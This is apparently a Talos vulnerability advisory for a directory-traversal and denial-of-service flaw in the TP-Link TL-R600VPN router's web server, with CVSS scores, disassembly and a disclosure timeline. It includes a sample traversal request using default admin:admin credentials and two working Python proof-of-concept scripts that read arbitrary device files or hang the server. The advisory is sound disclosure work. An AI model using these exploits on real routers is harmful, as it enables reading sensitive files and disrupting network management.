Lucene search

K
talosTalos IntelligenceTALOS-2018-0617
HistoryNov 19, 2018 - 12:00 a.m.

TP-Link TL-R600VPN HTTP server denial-of-service vulnerability

2018-11-1900:00:00
Talos Intelligence
www.talosintelligence.com
252

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

0.001 Low

EPSS

Percentile

41.1%

Summary

An exploitable denial-of-service vulnerability exists in the URI-parsing functionality of the TP-Link TL-R600VPN HTTP server. A specially crafted URL can cause the server to stop responding to requests, resulting in downtime for the management portal. An attacker can send either an unauthenticated or authenticated web request to trigger this vulnerability.

Tested Versions

TP-Link TL-R600VPN HWv3 FRNv1.3.0 TP-Link TL-R600VPN HWv2 FRNv1.2.3

Product URLs

<https://www.tp-link.com/us/products/details/cat-4909_TL-R600VPN.html&gt;

CVSSv3 Score

7.5 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

CWE

CWE-835: Loop with Unreachable Exit Condition (β€˜Infinite Loop’)

Details

If a directory traversal is attempted on any of the vulnerable pages (help, images, frames, dynaform, localization) and the requested page is a directory instead of a file, the web server will enter an infinite loop, making the management portal unavailable.

An example malicious GET request is as follows. Notice that this request is to β€˜/etc’, not β€˜/etc/’ or β€˜/etc/shadow’:

GET /help/../../../../../../../../../../../../../../../../etc HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/userRpm/AccessCtrlAccessRulesRpm.htm
Authorization: Basic YWRtaW46YWRtaW4=
Connection: close
Upgrade-Insecure-Requests: 1
Content-Length: 2

[Annotated Disassembly / Decompilation output]

LOAD:00426340 loc_426340:                              # CODE XREF: httpRpmFsA+240↓j
LOAD:00426340                 la      $t9, read
LOAD:00426344                 move    $a0, $s3                     # moves the file descriptor into arg 0
LOAD:00426348                 jalr    $t9 ; read                   # triggers a read call
LOAD:0042634C                 move    $a1, $s2                     # moves the filename into arg 1 (/../../../../../etc)
LOAD:00426350                 move    $a0, $s5
LOAD:00426354                 lw      $gp, 0x110+var_100($sp)
LOAD:00426358                 move    $a2, $v0
LOAD:0042635C                 move    $a1, $s2
LOAD:00426360                 addu    $s6, $v0
LOAD:00426364                 la      $t9, httpBlockPut
LOAD:00426368                 jalr    $t9 ; httpBlockPut           # function responsible for writing read data to the socket when possible
LOAD:0042636C                 move    $s0, $v0                     # stores the response code from httpBlockPut - 0x0 for success and 0xFFFFFFFF for failure
LOAD:00426370                 li      $v1, 0xFFFFFFFF
LOAD:00426374                 lw      $gp, 0x110+var_100($sp)
LOAD:00426378                 beq     $v0, $v1, loc_42639C
LOAD:0042637C                 subu    $a2, $s1, $s6
LOAD:00426380                 lw      $v1, 0x110+var_28($sp)
LOAD:00426384                 sltu    $v0, $a2, $v1
LOAD:00426388                 movz    $a2, $v1, $v0
LOAD:0042638C                 beqz    $a2, loc_42639C              # branches to the file close block if the read has finished
LOAD:00426390                 nop
LOAD:00426394                 bnez    $s0, loc_426340              # loops if the read has not yet finished
LOAD:00426398                 nop                                  # NOTE: when a directory or an infinite file is read this will loop indefinitely
LOAD:0042639C

Exploit proof of concept

The following proof of concepts can be used to view any readable file on the device by passing the absolute path as the second argument.

If a directory without the trailing slash is passed, the proof of concept will enter an infinite loop, causing a denial-of-service condition on the web server. When this DoS condition is triggered, only the HTTP server is affected. The other device services continue as normal.

Proof of concept for the unauthenticated case: import requests import sys

def main():
    if len(sys.argv) != 3:
        print ""
        print "Usage: python dir_traversal.py [ip_addr] [absolute_path]"
        print "Example: python dir_traversal.py 192.168.0.1 /etc"
        print ""
    else:
        ip_addr = sys.argv[1]
        custom_dir = sys.argv[2]
        uri="http://%s/help/../../../../../../../../../../../../../../../..%s" % (ip_addr, custom_dir)
        try:
            referer = "http://%s/Index.htm" % (ip_addr)
            headers = {'Referer':referer}
            r = requests.get(uri, headers=headers)
            print "\n\nResponse Code: %s\n\n" % (r.status_code)
            print r.text
        except Exception as msg:
            print "ERROR: %s" % (msg)

if __name__ == "__main__":
    main()

Proof of concept for the authenticated case: import requests import sys import base64

def main():
    if len(sys.argv) != 3:
        print ""
        print "Usage: python dir_traversal.py [ip_addr] [absolute_path]"
        print "Example: python dir_traversal.py 192.168.0.1 /etc"
        print ""
    else:
        ip_addr = sys.argv[1]
        custom_dir = sys.argv[2]
        uri="http://%s/images/../../../../../../../../../../../../../../../..%s" % (ip_addr, custom_dir)
        try:
            auth = "Basic %s" % (base64.b64encode("admin:admin"))
            referer = "http://%s/userRpm/MenuRpm.htm" % (ip_addr)
            headers = {'Authorization': auth, 'Referer':referer}
            r = requests.get(uri, headers=headers)
            print "\n\nResponse Code: %s\n\n" % (r.status_code)
            print r.text
        except Exception as msg:
            print "ERROR: %s" % (msg)

if __name__ == "__main__":
    main()

Timeline

2018-06-28 - Vendor Disclosure
2018-10-09 - Vendor provided beta test
2018-10-11 - Patch tested and confirmed fix
2018-11-19 - Public Release

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:N/I:N/A:P

7.5 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

NONE

Integrity Impact

NONE

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

0.001 Low

EPSS

Percentile

41.1%